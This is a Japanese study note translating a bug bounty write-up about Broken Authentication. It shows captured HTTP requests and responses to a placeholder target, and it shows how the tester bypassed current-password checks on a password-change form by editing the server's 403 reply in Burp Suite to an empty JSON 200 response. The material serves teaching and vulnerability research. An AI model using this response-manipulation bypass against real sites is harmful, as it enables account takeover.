「How I bypassed current password Verification」からBroken Authentication(Identification and Authentication Failures) を学ぶ

ソース:

https://infosecwriteups.com/how-i-bypassed-current-password-verification-bfa9d8c3f471

 

脆弱性:Broken Authentication, Identificaiton and Authentication Failures

 

訳:

テスト中に、パスワード変更機能で、現在の (古い) パスワードを入力するまでサイトで新しいパスワードの入力が許可されていないことが観察されたため、ここで応答操作のテストを開始しました。 

 

1:ランダムなパスワードを入力し、このリクエストをBurpSuiteでキャプチャします。

 

POST /user-management/auth HTTP/1.1
Host: abc.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: https://www.target.com/users/profile/password
Authorization: Bearer <token>
Content-Type: application/json
Origin: https://www.target.com
Content-Length: 57
Connection: close

{“login”:”user@gmail.com”,”password”:”randompassword”}

 

2:応答をキャプチャしました 

元の応答

 

HTTP/1.1 403 Forbidden
Date: Mon, 03 Aug 2020 20:51:39 GMT
Content-Type: application/json; charset=”utf-8"
Content-Length: 96
Connection: close

..

..

{“type”: “HTTPError”, “traceback”: null, “message”: “HTTP 403: Forbidden (Invalid credentials)”}

 

 

正しいパスワードを入力した後に受け取った応答を正しいものに変更しました。

 

HTTP/1.1 200 OK
..
..
{“success”: true}

 

そして応答を転送しましたが失敗しました。

 

もう一度同じ手順を再現しましたが、 {“success”: true}の代わりに空の空の JSON 「{}」を送信します。 

 

最終的に変更された応答:

 

HTTP/1.1 200 OK
Date: Mon, 03 Aug 2020 20:51:39 GMT
Content-Type: application/json; charset=”utf-8"
Content-Length: 96
Connection: close

..

..
{}

 

 

Forwarded the response >> Successfully bypassed